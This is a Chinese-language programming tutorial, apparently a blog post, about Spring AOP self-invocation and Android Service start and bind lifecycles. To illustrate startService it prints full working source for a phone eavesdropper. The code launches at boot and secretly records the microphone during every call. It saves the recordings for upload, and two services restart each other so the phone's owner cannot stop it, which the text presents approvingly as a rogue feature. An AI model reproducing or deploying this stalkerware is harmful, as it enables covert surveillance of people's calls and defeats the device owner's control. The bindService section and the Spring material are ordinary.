關於同一個service調用service本身的方法
同一個service調用service本身
如果同一個service調用service本身的方法,出現瞭事務不能控制。
解決方案
1.在spring配置文件中配置
<!-- expose-proxy service調用aop實現自身調用自身方法--> <aop:aspectj-autoproxy proxy-target-class="true" expose-proxy="true"/>
2.在service中用 AopContext.currentProxy() 方法調用
例如調用myService的mySave方法:
((myService) AopContext.currentProxy()).mySave(myPojo);
service的兩種調用方法
一、startService開啟服務
生命周期如下:
onCreate()–> onStartCommand() —> onDestory();
如果服務已經開啟,不會重復的執行onCreate(), 而是會調用onStartCommand()。服務停止的時候調用onDestory()。服務隻會被停止一次。
下面是一個電話竊聽器的實例:
在Manifest文件中配置必要的權限和組件。設置一個監聽開機的廣播接收者。
<uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.RECORD_AUDIO"/> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <service android:name="com.itheima.phonelistener.SystemService" > </service> <service android:name="com.itheima.phonelistener.SystemService2" > </service> <receiver android:name="com.itheima.phonelistener.BootReceiver" > <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter> </receiver>
BootReceiver.java
監聽開機事件。
public class BootReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Intent i = new Intent(context,SystemService.class); context.startService(i); } }
SystemService.java
兩個Service類中的一個。兩個類采用循環調用機制,當其中一個Service被destroy時,系統調用另一個Service。這樣起到瞭防止用戶關閉的流氓效果。
public class SystemService extends Service { // 電話管理器 private TelephonyManager tm; // 監聽器對象 private MyListener listener; //聲明錄音機 private MediaRecorder mediaRecorder; @Override public IBinder onBind(Intent intent) { return null; } // 服務創建的時候調用的方法 @Override public void onCreate() { // 後臺監聽電話的呼叫狀態。 // 得到電話管理器 tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE); listener = new MyListener(); tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE); super.onCreate(); } private class MyListener extends PhoneStateListener { // 當電話的呼叫狀態發生變化的時候調用的方法 @Override public void onCallStateChanged(int state, String incomingNumber) { super.onCallStateChanged(state, incomingNumber); try { switch (state) { case TelephonyManager.CALL_STATE_IDLE://空閑狀態。 if(mediaRecorder!=null){ //8.停止捕獲 mediaRecorder.stop(); //9.釋放資源 mediaRecorder.release(); mediaRecorder = null; System.out.println("錄制完畢,上傳文件到服務器。"); } break; case TelephonyManager.CALL_STATE_RINGING://零響狀態。 break; case TelephonyManager.CALL_STATE_OFFHOOK://通話狀態 //開始錄音 //1.實例化一個錄音機 mediaRecorder = new MediaRecorder(); //2.指定錄音機的聲音源 mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); //3.設置錄制的文件輸出的格式 mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT); //4.指定錄音文件的名稱 File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis()+".3gp"); mediaRecorder.setOutputFile(file.getAbsolutePath()); //5.設置音頻的編碼 mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT); //6.準備開始錄音 mediaRecorder.prepare(); //7.開始錄音 mediaRecorder.start(); break; } } catch (Exception e) { e.printStackTrace(); } } } // 服務銷毀的時候調用的方法 @Override public void onDestroy() { super.onDestroy(); // 取消電話的監聽 System.out.println("ondestory"); Intent i = new Intent(this,SystemService2.class); startService(i); tm.listen(listener, PhoneStateListener.LISTEN_NONE); listener = null; } }
MainActivity.java
控制Service的開啟和關閉。
public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } public void start(View view){ //開啟服務。 Intent intent = new Intent(this,SystemService.class); startService(intent); } public void stop(View view){ //停止服務。 Intent intent = new Intent(this,SystemService.class); stopService(intent); } }
二、bindService綁定服務
用綁定方式開啟的Service,其生命周期為:onCreate() —>onBind();—>onunbind()–>onDestory(); 沒有onStartCommand。
步驟:
1. 服務要暴露方法,必須在Service中定義一個內部類——中間人MiddlePerson,實現定義好的接口中的方法(callMethodInService,用於調用Service中的某方法)。
2. 實現服務成功綁定的代碼(onBind方法),返回一個中間人new MiddlePerson()。
3. 在Activity中的bind()方法中采用bindService方法開啟服務。
Intent intent = new Intent(this, MyService.class); conn = new MyConn(); bindService(intent, conn, BIND_AUTO_CREATE);
4. 當服務被連接或失去連接時,分別實現ServiceConnection接口中的onServiceConnected()和onServiceDisconnected()方法。
5. 最後就可以通過中間人調用服務裡面的方法瞭。
mp.callMethodInService(55);
MainActivity.java
public class MyService extends Service { //2.實現服務成功綁定的代碼 ,返回一個中間人。 @Override public IBinder onBind(Intent arg0) { System.out.println("服務被成功綁定瞭。。。。"); return new MiddlePerson(); } @Override public boolean onUnbind(Intent intent) { System.out.println("onunbind"); return super.onUnbind(intent); } @Override public void onCreate() { System.out.println("oncreate"); super.onCreate(); } @Override public int onStartCommand(Intent intent, int flags, int startId) { System.out.println("onstartcommand"); return super.onStartCommand(intent, flags, startId); } @Override public void onDestroy() { System.out.println("ondestory"); super.onDestroy(); } /** * 這是服務裡面的一個方法 */ public void methodInService(){ Toast.makeText(this, "哈哈,服務給你辦好瞭暫住證。", 0).show(); } //1.第一步服務要暴露方法 必須要有一個中間人 private class MiddlePerson extends Binder implements IMiddlePerson{ /** * 代辦暫住證 * @param money 給錢 50塊錢以上才給辦。 */ public void callMethodInService(int money){ if(money>=50){ methodInService(); }else{ Toast.makeText(getApplicationContext(), "多準備點錢。", 0).show(); } } /** * 陪領導打麻將 */ public void playMajiang(){ System.out.println("陪領導打麻將。"); } } }
三、兩種方法的區別
start
方式開啟服務,一旦服務開啟,就和調用者(Activity)沒有任何關系瞭。開啟者退出後,如果開啟者掛掉,服務還在後臺長期的運行。而且開啟者沒有辦法去調用服務裡面的方法。bind
方式開啟服務,一旦調用者掛掉,服務也會跟著掛掉。不求同時生,但求同時死。而且開啟者可以調用服務裡面的方法。
以上為個人經驗,希望能給大傢一個參考,也希望大傢多多支持WalkonNet。
推薦閱讀:
- Android自動攔截與接聽功能APK黑白名單
- android Service基礎(啟動服務與綁定服務)
- Android BindService使用案例講解
- Android實現檢測實體按鍵事件並屏蔽
- 一文徹底瞭解Android中的線程和線程池